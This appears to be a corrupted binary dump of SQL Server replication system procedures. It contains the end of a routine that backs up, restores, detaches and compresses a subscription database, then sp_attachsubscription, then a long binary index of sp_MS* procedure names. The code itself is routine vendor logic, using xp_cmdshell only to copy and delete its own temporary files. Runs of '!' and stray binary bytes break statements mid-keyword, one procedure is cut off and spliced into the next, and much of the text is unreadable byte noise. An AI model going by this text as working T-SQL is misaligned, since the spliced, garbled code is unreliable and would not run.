                begin
                    RAISERROR (21306, 16, -1, @publication)
                    return (1)
                end                                
            end
            
            fetch PC_hws into @publication, @pubid, @retention, @retention_period_unit
        END

        close PC_hws
        deallocate PC_hws

        -- Make sure no merge lightweight subscription has expired.
        declare PC_lws CURSOR LOCAL FAST_FORWARD for
            select DISTINCT p.name, p.pubid, p.retention, p.retention_period_unit
                from dbo.sysmergesubscriptions s, dbo.sysmergepublications p
                where s.status <> @REPLICA_STATUS_BeforeRestore and
                      s.subscription_type = @lightweight_subscription and
                      s.subid <> s.pubid and s.pubid=p.pubid
                for read only
        open PC_lws
        fetch PC_lws into @publication, @pubid, @retention, @retention_period_unit

        while (@@fetch_status <> -1)
        begin
            if @retention is not NULL and @retention > 0
            begin
                -- Check whether there are rows whose most recent local change was before the
                -- retention_date, but the change was not uploaded to the publisher yet.
                if exists (select * from dbo.MSmerge_rowtrack
                                where tablenick in (select nickname from dbo.sysmergearticles
                                                        where pubid=@pubid and
                                                              lightweight=1)
                                      and
                                      changetype in (@METADATA_TYPE_InsertLightweight,
                                                       @METADATA_TYPE_UpdateLightweight,
                                                       @METADATA_TYPE_DeleteLightweight)
                                      and
                                      1=sys.fn_MSrowispastretention(tablenick, changed, getdate())
                          )
                begin
                    RAISERRO!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(9@vR (21306, 16, -1, @publication)
                    return (1)
                end                                
            end
            
            fetch PC_lws into @publication, @pubid, @retention, @retention_period_unit
        end
        close PC_lws
        deallocate PC_lws

        -- Does db contains subscriptions?
        if exists (select * from dbo.sysmergesubscriptions where subid <> pubid and 
            db_name = db_name() collate database_default and 
            subscriber_server = convert(nvarchar(4000), SERVERPROPERTY('ServerName')) collate database_default and
            status <> 7) -- REPLICA_STATUS_BeforeRestore
        begin
            select @merge_found = 1
        end
    end

    -- Error out if there is no subscription at all
    if @tran_found = 0 and @merge_found = 0
    begin
        raiserror(21239, 16 , -1)
        return (1)
    end


    if @overwrite_existing_file is null
        set @overwrite_existing_file = 0

    -- Check to see if the file already exists
    declare @exists bit

    if @overwrite_existing_file = 0
    begin
        exec @retcode = sys.sp_MSget_file_existence @filename, @exists output
        if @@error <> 0 or @retcode <> 0
            return 1
        if @exists <> 0 
        begin
            raiserror(21214, 16, -1, @filename)
            return 1
        end
    end

    -- Check to see if have write permissions to the file location.
    -- Try create the file
    -- Echo text can be anything.
    select @cmd = 'echo Subscription copy failed. > "' + sys.fn_escapecmdshellsymbolsremovequotes(@filename) collate database_default + '"'
    exec @retcode = master.dbo.xp_cmdshell @cmd, NO_OUTPUT
    if @@error <> 0 or @retcode <> 0
    begin
        raiserror(21247, 16, -1, @filename)
        select @retcode = 1
        goto Cleanup
    end    
    -- File should be created.
    exec @retcode = sys.sp_MSget_file_existence @filename, @exists output
    if @@error <> 0 or @retcode <> 0
    begin
        select @retcode = 1
        goto Cleanup
    end
    if @exists = 0
    begin
        raiserror(21247,16, -1, @filename)
        select @retcode = 1
        goto Cleanup
    end

    /*
    ** Get the MSSQL DATA path. Note that users can have a SQLDataRoot directory different from SQLPath
    */
    if @temp_dir is null
    begin
        exec @retcode = sys.sp_MSget_setup_paths
            @data_path = @temp_dir output
        IF @retcode <> 0 or @@error <> 0
            return 1
        select @temp_dir = @temp_dir + '\DATA\'
    end
    else
    begin
        -- Check to make sure working dir is valid.
        exec @retcode = sys.sp_MSget_file_existence @temp_dir, @exists output
        if @@error <> 0 or @retcode <> 0
        begin
            select @retcode = 1
            goto Cleanup
        end
        if @exists = 0
        begin
            raiserror (21037, 16, -1, @temp_dir)        
            select @retcode = 1
            goto Cleanup
        end
        if substring(@temp_dir, len(@temp_dir), 1) <> '\'
            select @temp_dir = @temp_dir + '\'
    end

    -- Get temp db name
    -- Use a guid to avoid name colision.
    declare @dbname sysname
    select @dbname = db_name()
    declare @temp_db_name sysname
    declare @guid_name nvarchar(36)
    select @guid_name =  convert (nvarchar(36), newid())

    select @temp_db_name = 'repl_sub_restore_' + @guid_name

    select @backup_path = @temp_dir + @temp_db_name + '.bak'

    -- Create table used to signal attach or restored process to do different things
    if not exists (select * from sys.objects where name = 'MSreplication_restore_stage')
    begin 
        CREATE TABLE dbo.MSreplication_restore_stage
        (
            stage_id int -- not used for now
        )
        IF @@ERROR <> 0    return 1
        
        exec dbo.sp_MS_marksystemobject 'dbo.MSreplication_restore_stage'

    end

    -- First backup the database to the file given
    -- Overwrite the existing file with INIT option.
    BACKUP DATABASE @dbname TO DISK = @backup_path WITH INIT
    if @@error<> 0
    begin
        select @retcode = 1
        goto Cleanup
    end


    -- Restore it to a temporary working database
    -- Get phy data and log file name for the temp db
    select @temp_data_path = @temp_dir + @temp_db_name + '.mdf'
    select @temp_log_path = @temp_dir + @temp_db_name + '.ldf'

    -- Get the command
    select @cmd = 'restore database ' + quotename(@temp_db_name) + ' from disk = ' 
        + quotename(@backup_path,'''') + ' with replace, move '

    -- Get the logical file name for data file.
    select @cmd = @cmd + quotename(rtrim(name),'''') from sysfiles where
        (status & 0x40) = 0

    -- Use passed in filename as phy data file name for the temp db

    -- Use the passed in file as phy data file for the temp db
    select @cmd = @cmd + ' to ' + quotename(@temp_data_path,'''') + ', move '

    -- Get the logical file name for the log file
    select @cmd = @cmd + quotename(rtrim(name),'''') from sysfiles where
        (status & 0x40) <> 0

    -- Use the passed in file as phy file for the temp db
    select @cmd = @cmd + ' to ' + quotename(@temp_log_path,'''') + ' '
    exec (@cmd)
    if @@error<> 0
    begin
        select @retcode = 1
        goto Cleanup
    end

    -- Once we successfully restored, we delete to back up file to save disk space.
    if @backup_path is not null
    begin
        select @cmd = 'del "' + sys.fn_escapecmdshellsymbolsremovequotes(@backup_path) collate database_default + '"' 
        EXEC master.dbo.xp_cmdshell @cmd, NO_OUTPUT
        set @backup_path = null
    end

    -- Prepare the database for detach. 2 things will be done
    -- 1. Set a flag to indicate that this is a prepare sub db for detach
    -- 2. For merge, create table to store dbo.sysservers info for later fixing up after attach
    select @cmd = quotename(@temp_db_name) + '.sys.sp_MSprepare_sub_for_detach'

    exec @retcode = @cmd @subscriber_server = @subscriber_server, @subscriber_db = @subscriber_db
    if @retcode<>0 or @@error<>0
    begin
        select @retcode = 1
        goto Cleanup
    end

    -- Shink the size of the temp db before detach
    DBCC SHRINKDATABASE (@temp_db_name, 10)
    if @@error <> 0
        goto Cleanup

    -- detach the database
    -- Wait for the db to be closed
    WAITFOR DELAY '00:00:00.500'
    exec @retcode = sys.sp_detach_db @temp_db_name
    if @retcode<>0 or @@error<>0
    begin
        select @retcode = 1
        goto Cleanup
    end

    -- Delete the log file to save disk space
    if @temp_log_path is not null
    begin
        select @cmd = 'del "' + sys.fn_escapecmdshellsymbolsremovequotes(@temp_log_path) collate database_default + '"' 
        EXEC master.dbo.xp_cmdshell @cmd, NO_OUTPUT
        set @temp_log_path = null
    end

    -- Compress the file
    exec @retcode = sys.xp_makecab
        @cabfilename = @filename,
        @compression_mode ='mszip',
        @verbose_level = 0,
        @filename1 = @temp_data_path
    if @retcode<>0 or @@error<>0
    begin
        select @retcode = 1
        goto Cleanup
    end


Cleanup:
    if exists (select * from sys.objects where name = 'MSreplication_restore_stage')
        drop table dbo.MSreplication_restore_stage


    if exists (select * from master.dbo.sysdatabases where name = @temp_db_name collate database_default)
    begin
        select @cmd = 'drop database ' + quotename(@temp_db_name)
        exec (@cmd)
    end

    if @backup_path is not null
    begin
        select @cmd = 'del "' + sys.fn_escapecmdshellsymbolsremovequotes(@backup_path) collate database_default + '"' 
        EXEC master.dbo.xp_cmdshell @cmd, NO_OUTPUT
    end

    if @temp_data_path is not null
    begin
        select @cmd = 'del "' +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<Gz@NW\5--
-- Name: sp_attachsubscription
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_attachsubscription 
(
	@dbname    					sysname,
	@filename 					nvarchar(260),
	@subscriber_security_mode   int = NULL,       	/* 0 standard; 1 integrated */
	@subscriber_login           sysname = NULL,
	@subscriber_password        sysname = NULL,
	@distributor_security_mode	int = 1,
	@distributor_login			sysname = NULL,
	@distributor_password		sysname = NULL,
	@publisher_security_mode	int = 1,
	@publisher_login			sysname = NULL,
	@publisher_password			sysname = NULL,
	@job_login					nvarchar(257) = NULL,
	@job_password				sysname = NULL,
	@db_master_key_password		nvarchar(524) = NULL
)
AS
begin
    SET NOCOUNT ON
    -- Declarations.
    declare @cmd nvarchar(4000)
                ,@retcode int
                ,@copy_created bit
                ,@exists bit
                ,@sa_login sysname

    select @retcode = 0
            ,@copy_created = 0
            ,@exists = 0

    -- Warn about the parameters no longer being used
    IF @subscriber_login IS NOT NULL
        OR @subscriber_password IS NOT NULL
        OR (@subscriber_security_mode IS NOT NULL
        AND @subscriber_security_mode != 1)
    BEGIN
        -- The subscriber security parameter(s) have been deprecated and should no longer be used. See the 'sp_attachsubscription' documentation for more information.
        RAISERROR(21827, 10, -1, 'subscriber security', 'sp_attachsubscription')

        SELECT @subscriber_security_mode = NULL,
                @subscriber_login = NULL,
                @subscriber_password = NULL
    END

    -- Check to make sure the database does not exists.
    if exists (select * from master.dbo.sysdatabases where name = @dbname collate database_default)
    begin
        raiserror(20621, 16, -1, @dbname)
        return (1)
    end

    -- Only sysadmin can do this
    if (isnull(is_srvrolemember('sysadmin'),0) = 0)
    begin
        raiserror(21089,16,-1)
        return (1)        
    end 

    -- Check to see if users has permissions to create database
    -- permissions() have to be run in master to return create db permission.
    -- declare @pm int
    -- exec @retcode = master.sys.sp_executesql N'select @pm = permissions()', N'@pm int output', @pm output
    -- if @@error <> 0 or @retcode <> 0
    --     return 1
    -- if @pm & 1 = 0
    -- begin
    --     raiserror(20618, 16, -1)
    --     return 1
    -- end

    -- Decompress the file
    -- We have to copy the file to another location first. 
    -- (cannot use source as destination')
    declare @temp_copy nvarchar(260)
    declare @file_dir nvarchar(260)
    declare @file_name nvarchar(260)
    declare @dir_cmd nvarchar(260)
    -- Set @drive_cmd if needed 
    -- Set temp copy to be the file directory first
    -- Note @file_dir include '\'
    if (charindex('\', @filename, 1) = 0)
    begin
        select @file_dir = ''
        select @file_name = @filename
    end
    else
    begin
        select @file_dir = left(@filename,len(@filename) + 1 - 
            charindex('\', reverse(@filename), 1))
        select @file_name = right(@filename, len(@filename) - len(@file_dir))
    end
    -- Get guid name
    declare @guid_name nvarchar(36)
    select @guid_name =  convert (nvarchar(36), newid())
    select @temp_copy = @file_dir + @guid_name + '.tmp'


    -- copy file
    select @cmd = 'copy "' + sys.fn_escapecmdshellsymbolsremovequotes(@filename) collate database_default + '" "' + sys.fn_escapecmdshellsymbolsremovequotes(@temp_copy) collate database_default + '"'
    exec @retcode = master.dbo.xp_cmdshell @cmd, NO_OUTPUT
    if @@error <> 0 or @retcode <> 0
    begin
        raiserror(21248, 16, -1, @filename)
        select @retcode = 1
        goto Cleanup
    end    

    exec @retcode = sys.sp_MSget_file_existence @temp_copy, @exists output
    if @@error <> 0 or @retcode <> 0
    begin
        select @retcode = 1
        goto Cleanup
    end
    if @exists = 0
    begin
        raiserror(21247, 16, -1, @temp_copy)        
        select @retcode = 1
        goto Cleanup
    end

    select @copy_created = 1

    -- decompress
    exec @retcode = sys.xp_unpackcab 
        @cabfilename = @temp_copy,
        @destination_folder = @file_dir,
        @verbose_level = 0,
        @destination_file = @file_name,
        @suppress_messages = 1
        
    if @@error <> 0 
    begin
        select @retcode = 1
        goto Cleanup
    end

    if @retcode in (1030,1029,2005)
    begin
        raiserror(20609, 16, -1, @filename)
        select @retcode = 1
        goto Cleanup
    end    
    else if @retcode <> 0
    -- re-issue the command to get errors
    begin
        exec @retcode = sys.xp_unpackcab 
            @cabfilename = @temp_copy,
            @destination_folder = @file_dir,
            @verbose_level = 0,
            @destination_file = @file_name,
            @suppress_messages = 0
        select @retcode = 1
        goto Cleanup
    end

    -- Attach
    exec @retcode = sys.sp_attach_single_file_db
        @dbname = @dbname,
        @physname = @filename
    if @retcode<>0 or @@error<>0
    begin
        raiserror(21248, 16, -1, @filename)
        select @retcode = 1
        goto Cleanup
    end

    if isnull(is_srvrolemember('sysadmin'), 0) <> 0
    begin
        select @sa_login = SUSER_SNAME(0x01)
        select @cmd = quotename(@dbname) + '.dbo.sp_changedbowner'
        exec @retcode = @cmd @sa_login
        if @retcode<>0 or @@error<>0
        begin
            select @retcode = 1
            goto Cleanup
        end
    end

    -- Prepare the database for detach. 2 things will be done
    -- 1. Set a flag to indicate that this is a prepare sub db for detach
    -- 2. For merge, create table to store dbo.sysservers info for later fixing up after attach
    select @cmd = quotename(@dbname) + '.sys.sp_MSrestore_sub'
    exec @retcode = @cmd
        @subscriber_security_mode = @subscriber_security_mode,    
        @subscriber_login = @subscriber_login,
        @subscriber_password = @subscriber_password,
        @distributor_security_mode = @distributor_security_mode,
		@distributor_login = @distributor_login,
		@distributor_password = @distributor_password,
		@publisher_security_mode = @publisher_security_mode,
		@publisher_login = @publisher_login,
		@publisher_password = @publisher_password,
		@job_login = @job_login,
		@job_password = @job_password,
		@db_master_key_password	= @db_master_key_password

    if @retcode<>0 or @@error<>0
    begin
        select @retcode = 1
        goto Cleanup
    end
	
Cleanup:
    if @retcode <> 0
    begin
        -- The files will be deleted if some thing failed. 
        if exists (select * from master.dbo.sysdatabases where name = @dbname collate database_default)
            begin
                select @cmd = 'drop database ' + quotename(@dbname)
                exec (@cmd)
            end
    end

    if @temp_copy is not null
    begin
        -- Restore the original file, ignore errors
        if @retcode <> 0 and @copy_created = 1
        begin
            select @cmd = 'copy "' + sys.fn_escapecmdshellsymbolsremovequotes(@temp_copy) collate database_default + '" "' + sys.fn_escapecmdshellsymbolsremovequotes(@filename) collate database_default + '"'
            exec master.dbo.xp_cmdshell @cmd, NO_OUTPUT
        end

        -- Delete the temp file.
        select @cmd = 'del "' + sys.fn_escapecmdshellsymbolsremovequotes(@temp_copy) collate database_default + '"' 
        EXEC master.dbo.xp_cmdshell @cmd, NO_OUTPUT
    end

    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`$

\"
>O.V&S{Bsp_MSrepl_check_job_access&n:sp_MSrepl_check_server&ie:sp_MSrepl_copysnapshot&vZsp_MSrepl_drop_expired_sub_cleanup_job&7&>sp_MSrepl_droprolemember&oTsp_MSrepl_helpreplicationdboptionex& ܿ4sp_MSrepl_isdbowner&>sp_MSrepl_IsUserInAnyPAL&tJsp_MSrepl_linkedservers_rowset&&I<sp_MSrepl_PAL_rolecheck&1o|^sp_MSrepl_GrantSelectOnMergeSystemTables&b6sp_MSrepl_FixPALRole&节>sp_MSrepl_FixTranPALRole&/:sp_MSrepl_ddl_triggers&9Lsp_MSrepl_clean_replication_bit&wLsp_MSrepl_drop_all_role_members&OFsp_MSrepl_getdistributorinfo&Fsp_MSrepl_helpsubscriberinfo&>sp_MSrepl_dropsubscriber&AZsp_MSrepl_DistributorReplMonitorAccess&jJsp_MSrepl_DistributorPALAccess&p7@sp_MSrepl_DistDBPALAccess&fsp_MSrepl_set_oracle_provider_inproc_on64bit&m.sp_MSrepl_dbrole&#Bsp_MSrepl_startup_internal&ȑBsp_MSrepl_gettype_mappings&\Bsp_MSrepl_getpublisherinfo&/9\sp_MSrepl_IsLastPubInSharedSubscription&ܞBsp_MSrepl_enumpublications&Dsp_MSrepl_enumsubscriptions&*Fsp_MSrepl_publicationsummary&Hsp_MSrepl_subscriptionsummary&q^sp_MSrepl_distributionagentstatussummary&^Psp_MSrepl_mergeagentstatussummary&g:sp_MSrepl_incrementlsn&'8sp_MSrepl_getdbmsinfo&Fsp_MSrepl_setdefaultdatatype&[Jsp_MSrepl_fixupdefaultmappings&Jsp_MSrepl_checkdatatypemapping&ǕNsp_MSrepl_createdatatypemappings&;Jsp_MSrepl_dropdatatypemappings&>sp_MSrepl_MSSQLdatatypes&ӈ:sp_MSrepl_DB2datatypes&V:sp_MSrepl_ORAdatatypes&:sp_MSrepl_SASdatatypes&B3Vsp_MSrepl_ORA_MSSQL_datatypemappings&Hsp_MSrepl_subdatatypemappings&YFVsp_MSrepl_MSSQL_ORA_datatypemappings&BVsp_MSrepl_MSSQL_DB2_datatypemappings&BVsp_MSrepl_MSSQL_SAS_datatypemappings&oHsp_MSrepl_testadminconnection&Ռ>sp_MSrepl_testconnection&aK@sp_MSrepl_check_publisher&vHsp_MSrepl_enumpublishertables&puHsp_MSrepl_enumtablecolumninfo&1Lsp_MSrepl_enumarticlecolumninfo&Rsp_MSrepl_helppublication_snapshot&0e\sp_MSrepl_publicationsnapshotjobcontrol&g]Xsp_MSrepl_subscriptionagentjobcontrol&DzZsp_MSrepl_scriptpublicationcustomprocs&dz_Hsp_MSrepl_enumfullsubscribers&_dsp_MSrepl_enable_heterogeneous_subscription&
Xsp_MSrepl_enable_articles_for_het_sub&>sp_MSrepl_helparticlermo&<]8sp_MSrepl_helparticle&Xsp_MSrepl_snapshot_helparticlecolumns&:Fsp_MSrepl_helparticlecolumns&w@sp_MSrepl_helppublication&^Rsp_MSrepl_snapshot_helppublication&xOBsp_MSrepl_helpsubscription&Psp_MSrepl_setOraclepackageversion&_WtPsp_MSrepl_getOraclepackageversion&8Tsp_MSrepl_checkOraclepackageversion&:8sp_MSrepl_droparticle&-@sp_MSrepl_droppublication&+$Bsp_MSrepl_dropsubscription&<Jsp_MSrepl_refreshsubscriptions&Fsp_MSrepl_reinitsubscription&C|i.sp_MSrepl_schema&o@sp_MSrepl_posttracertoken&NHsp_MSrepl_helplogreader_agent&y-bsp_MSrepl_getsubscription_status_hsnapshot&[,\sp_MSrepl_get_Oracle_publisher_metadata&Vsp_MSrepl_get_Oracle_publisher_table&th.sp_MSrepl_setNFR&s`sp_MSrepl_refresh_heterogeneous_publisher&4sp_MSrepl_raiserror&`HWBsp_MSrepl_init_backup_lsns&;6=Hsp_MSrepl_subscription_rowset&̐Vsp_MSrepl_register_default_resolvers&҉(@sp_MSrepl_getpkfkrelation&02sp_MSrepl_helptextmmary&g:sp_MSrepl_incrementlsn&'8sp_MSrepl_getdbmsinfo&Fsp_MSrepl_setdefaultdatatype&[Jsp_MSrepl_fixupdefaultmappings&Jsp_MSrepl_checkdatatypemapping&ǕNsp_MSrepl_createdatatypemappings&;Jsp_MSrepl_dropdatatypemappings&>sp_MSrepl_MSSQLdatatypes&ӈ:sp_MSrepl_DB2datatypes&V:sp_MSrepl_ORAdatatypes&:sp_MSrepl_SASdatatypes&B3Vsp_MSrepl_ORA_MSSQL_datatypemappings&Hsp_MSrepl_subdatatypemappings&YFVsp_MSrepl_MSSQL_ORA_datatypemappings&BVsp_MSrepl_MSSQL_DB2_datatypemappings&BVsp_MSrepl_MSSQL_SAS_datatypemappings&oHsp_MSrepl_testadminconnection&Ռ>sp_MSrepl_testconnection&a|4."*6
L`ZvX( 
2

t	t6	N:x"dr	x|
XBD6~*pN^Rh	
`
5p"v1-5& Jsp_MSrepl_validate_dts_package&NZsp_MSrepl_verify_oracle_client_version&Phsp_MSrepl_verify_oracle_provider_isregistered&>sp_MSrepladdproxyaccount&74sp_MSreplcheck_name&
:sp_MSreplcheck_publish&OTsp_MSreplcheck_publish_withddladmin&24sp_MSreplcheck_pull&edJ0sp_MSreplcheck_qv&>sp_MSreplcheck_subscribe&FȾXsp_MSreplcheck_subscribe_withddladmin&HDsp_MSreplcheckoffloadserver&@0Bsp_MSreplclosesymmetrickey&f.sp_MSrepldecrypt&.sp_MSreplencrypt&5>sp_MSreplhelp_jobhistory&[p"Lsp_MSreplicationagentjobcontrol&JDsp_MSreplicationcompatlevel&oi+@sp_MSreplopensymmetrickey&C2sp_MSreplraiserror&(sp_MSreplrole&:sp_MSrepltrigcertgrant&D>sp_MSrepltrigpreparecert&w~8sp_MSrepltrigredefine&C$sp_MSreseed&%?w<sp_MSreset_attach_state&VL.sp_MSreset_queue&'z>sp_MSreset_queued_reinit&#<sp_MSreset_synctran_bit&%URsp_MSresetsnapshotdeliveryprogress&:sp_MSResetTriggerProcs&Zbsp_MSresetwatermarksforalternatepublishers&1c.sp_MSrestore_sub&Aw:sp_MSrestore_sub_merge&+8sp_MSrestore_sub_tran&>@sp_MSrestoredbreplication&bhsp_MSrestoresavedforeignkeyextendedproperties&ApFsp_MSrestoresavedforeignkeys&ғVsp_MSretrieve_publication_attributes&~Hsp_MSrevokeconnectreplication&C}:sp_MSsafe_repl_encrypt&`L:sp_MSscript_begintrig1&xc:sp_MSscript_begintrig2&׽4sp_MSscript_endtrig&Fsp_MSscript_multirow_trigger&CB2sp_MSscript_params&	~{Fsp_MSscript_pkvar_assignment&@sp_MSscript_procbodystart&
Hsp_MSscript_singlerow_trigger&w@sp_MSscript_sync_del_trig&[
@sp_MSscript_sync_ins_trig&6@sp_MSscript_sync_upd_trig&Jsp_MSscript_trigger_assignment& ZFsp_MSscript_trigger_exec_rpc&CTsp_MSscript_trigger_fetch_statement&7 Psp_MSscript_trigger_update_checks&Dsp_MSscript_trigger_updates&
Hsp_MSscript_trigger_variables&4Tsp_MSscript_trigger_version_updates&?:>sp_MSscript_where_clause&
QLsp_MSscriptcustomdelproc_sqlclr&~Lsp_MSscriptcustominsproc_sqlclr&Lsp_MSscriptcustomupdproc_sqlclr&1:Fsp_MSscriptforeignkeyrestore&Psp_MSscriptpublicationcustomprocs&`4Vsp_MSscriptpublicationconflicttables&at@sp_MSretrieve_publication&mJ@sp_MSreplsup_table_has_pk&_`>sp_MSscript_article_view&Fsp_MSscript_insert_statement&޷Bsp_MSscript_insert_subwins&Jz7Hsp_MSscript_compensating_send&Lsp_MSscriptinsertconflictfinder& /Bsp_MSscript_insert_pubwins&4Fsp_MSscript_update_statement&BBsp_MSscript_update_subwins&NBsp_MSscript_update_pubwins&Fsp_MSscript_delete_statement&Bsp_MSscript_delete_subwins&Fsp_MSscriptdelconflictfinder&Lsp_MSscript_compensating_insert&鷩Bsp_MSscript_delete_pubwins&ҧ8sp_MSscript_beginproc&I4sp_MSscript_endproc&܍VJsp_MSscript_ExecutionMode_stmt&tԇ@sp_MSscript_sync_ins_proc&*W@sp_MSscript_sync_upd_proc&@sp_MSscript_sync_del_proc&;>sp_MSscript_pub_upd_trig&V{Hsp_MSscript_missing_row_check&Z>sp_MSscriptcustominsproc&>sp_MSscriptcustomdelproc&Y>sp_MSscriptcustomupdproc&ݢ8sp_MSreplupdateschema&Y<sp_MSrepl_validatecache&!`sp_MSscriptpeerconflictdetection_tableaug&4Q3fsp_MSscriptpeerconflictdetection_customprocs&בzsp_MSscriptpeerconflictdetection_topology_sendresponse&wf8sp_MSreplremoveuncdir&=<sp_MSreplcopyscriptfile&!<sp_MSreset_subscription&Hsp_MSreset_subscription_seqno&Z<sp_MSreplagentjobexists&$L4:sp_MSreset_transaction&UNLsp_MSreset_logical_record_views&dWJsp_MSretrieve_mergepublication&+3,sp_MSscript_dri&@sp_MSrequestreenumeration&[W@sp_MSreplcheck_permission&G=Xsp_MSrequestreenumeration_lightweight&I4sp_MSscriptdatabase&.6sp_MSscriptdb_worker6Xt@TF~0*N

j
*
bD"dJf:0<r@


:
		6	Vhl,`h(8VHpfl0l`
%
E"Lp.Cp&U8sp_ORAverifypublisher&ڡ$sp_ORbitmap&RZ$sp_password&arsp_pkeys&6sp_populateqtraninfo&€"sp_prepare&E$sp_prepexec&
H*sp_prepexecrpc&J:sp_primary_keys_rowset&CBsp_primary_keys_rowset_rmt&qV<sp_primary_keys_rowset2&S*sp_primarykeys&v:sp_printagentstatement&0sp_printstatement&:Lsp_procedure_params_100_managed&CJsp_procedure_params_100_rowset&zFLsp_procedure_params_100_rowset2&/Hsp_procedure_params_90_rowset&ޚJsp_procedure_params_90_rowset2&Dsp_procedure_params_managed&sBsp_procedure_params_rowset&<Dsp_procedure_params_rowset2&H.6sp_procedures_rowset&8sp_procedures_rowset2&ho(sp_procoption&_Fsp_provider_types_100_rowset&
Dsp_provider_types_90_rowset&>sp_provider_types_rowset&#8sp_publicationsummary&DW0&sp_publishdb&&sp_recompile&=H4sp_recompile_module&5>sp_refreshreplsysservers&ˮ4sp_refreshsqlmodule&{H>Fsp_refreshsqlmodule_internal&*sp_refreshview&uJsp_reinitmergepullsubscription&e@sp_reinitpullsubscription&$f0sp_releaseapplock&*т6sp_releaseschemalock&a_,sp_remoteoption&:sp_removedbreplication&&<sp_removesrvreplication& sp_rename&xA$sp_renamedb&-8sp_repl_generateevent&.sp_repladdcolumn&B|:sp_replcleanupccsprocs&$sp_replcmds&L,sp_replcounters&5k.sp_replddlparser&$sp_repldone&_^0sp_repldropcolumn&^&sp_replflush&je:sp_replgetparsedddlcmd&9$sp_replhelp&NJ"sp_replica&Fsp_replication_agent_checkup&:sp_replicationdboption&%4sp_replincrementlsn&_Fsp_replincrementlsn_internal&*sp_replpostcmd&9O8sp_replpostsyncstatus&r!@sp_replpostsyncstatus_int&☩6sp_replsetoriginator&hrHsp_replsetoriginator_internal&k6sp_replsetsyncstatus&t&sp_repltrans&c4sp_replupdateschema&1@sp_reserve_http_namespace&'4sp_reset_connection&MNsp_resetsnapshotdeliveryprogress&*sp_resetstatus&s̆2sp_resign_database&<sp_restoredbreplication&S.sp_resyncexecute&n4sp_resyncexecutesql&Bsp_resyncmergesubscription&$!.sp_resyncprepare&>_6sp_resyncuniquetable&3lFsp_revoke_publication_access&n0sp_revokedbaccess&Ӻ6*sp_revokelogin&
6$sp_replsync&(<sp_refreshsubscriptions&x8sp_reinitsubscription&Fsp_register_custom_scripting&(+,sp_replshowcmds&Ł@sp_publication_validation&4*sp_replrestart&4sp_replqueuemonitor&}~N2sp_replsqlqgetrows&x2sp_posttracertoken&!6sp_publisherproperty&i˼.sp_ORAXactSetJob&(Hsp_repltablehasnonpkuniquekey&CPsp_replscriptuniquekeywhereclause&	<sp_repldeletequeuedtran&/}:sp_requestpeerresponse&pBsp_requestpeertopologyinfo&M8Rsp_refresh_heterogeneous_publisher&Psp_peerconflictdetection_tableaug&q*sp_replrethrow&2sp_replsendtoqueue&L6sp_replwritetovarbin&dJsp_replmonitorhelpmergesession&͈Vsp_replmonitorhelpmergesessiondetail&6QDsp_replmonitorhelppublisher&^EPsp_replmonitorhelppublisherhelper&i0XHsp_replmonitorhelppublication&TQJsp_replmonitorhelpsubscription&$@sp_replmonitorsynchronize&O_>sp_replmonitorrefreshjob&6h@sp_replmonitorrefreshdata&3Jsp_replmonitorrefreshagentdata&Nsp_replmonitorrefreshwarningdata&_Lsp_replmonitorinitializemetrics&6sp_replmonitoralerts&\sp_replmonitorhelppublicationthresholds&^sp_replmonitorchangepublicationthreshold&UXsp_replmonitorsubscriptionpendingcmds&ETsp_removedistpublisherdbreplication&ƺv8sp_redirect_publisher&Tsp_processlogshippingmonitorprimary&iXsp_processlogshippingmonitorsecondary& +Tsp_processlogshippingmonitorhistory&Psp_processlogshippingmonitorerror&Xsp_processlogshippingretentioncleanup&VLsp_refresh_log_shipping_monitor&R/80sp_resolve_logins&A@sp_registercustomresolver&a*Fsp_restoremergeidentityrange&>Bsp_reinitmergesubscription&z.sp_PostAgentInfo&yj,sp_readerrorlog&5:sp_prop_oledb_provider
4
			|	dB		 p&XD
N
6@Dd.d<\ zV4`"

$
?"B
@O1D&[Hsp_MSmergefixup_defaults_name&`sp_MSmergepullsubscriptionagentjobcontrol&C`sp_MSmergepushsubscriptionagentjobcontrol&8sp_MSmergesubscribedb&]Fsp_MSmergeupdatelastsyncinfo&p*sp_MSNonSQLDDL&RBsp_MSNonSQLDDLForSchemaDDL&כY.sp_MSpad_command&vDsp_MSprepare_sub_for_detach&d@sp_MSprocesspublisherlink&b~<sp_MSpublication_access&q=<sp_MSpublicationcleanup&|zVsp_MSpullsubscriptionagentjobcontrol&eLJsp_MSpurgepartialmergesnapshot&G*sp_MSpublishdb&Dsp_MSpublication_validation&l`>sp_MSpub_adjust_identity&44sp_MSpost_auto_proc&64sp_MSprep_exclusive&;,sp_MSpeerdbinfo&o @sp_MSpeertopeerfwdingexec&/8sp_MSpeersendresponse&S̉:sp_MSpeerapplyresponse&#8@sp_MSpeersendtopologyinfo&+Bsp_MSpeerapplytopologyinfo&
psp_MSpeerconflictdetection_topology_applyresponse&v$flsp_MSpeerconflictdetection_topology_sendrequest&5sp_MSpeerconflictdetection_statuscollection_applyresponse&~sp_MSpeerconflictdetection_statuscollection_sendresponse&3|sp_MSpeerconflictdetection_statuscollection_sendrequest&h8sp_MSquery_syncstates&+,4sp_MSprofile_in_use&՛Jsp_MSprocesslogshipmonitorlink&<Bsp_MSprocesslogshippingjob&[Xsp_MSprocesslogshippingmonitorprimary&k,4Tsp_MSproxylogshippingmonitorprimary&bT\sp_MSprocesslogshippingmonitorsecondary&gXsp_MSproxylogshippingmonitorsecondary& Xsp_MSprocesslogshippingmonitorhistory&NTsp_MSproxylogshippingmonitorhistory&jTsp_MSprocesslogshippingmonitorerror&LPsp_MSproxylogshippingmonitorerror&4dl\sp_MSprocesslogshippingretentioncleanup& 2Xsp_MSproxylogshippingretentioncleanup&aTsp_MSproxylogshippingmonitorrefresh&|
`sp_MSproxylogshippingmonitorhelpsecondary&/\sp_MSproxylogshippingmonitorhelpprimary&
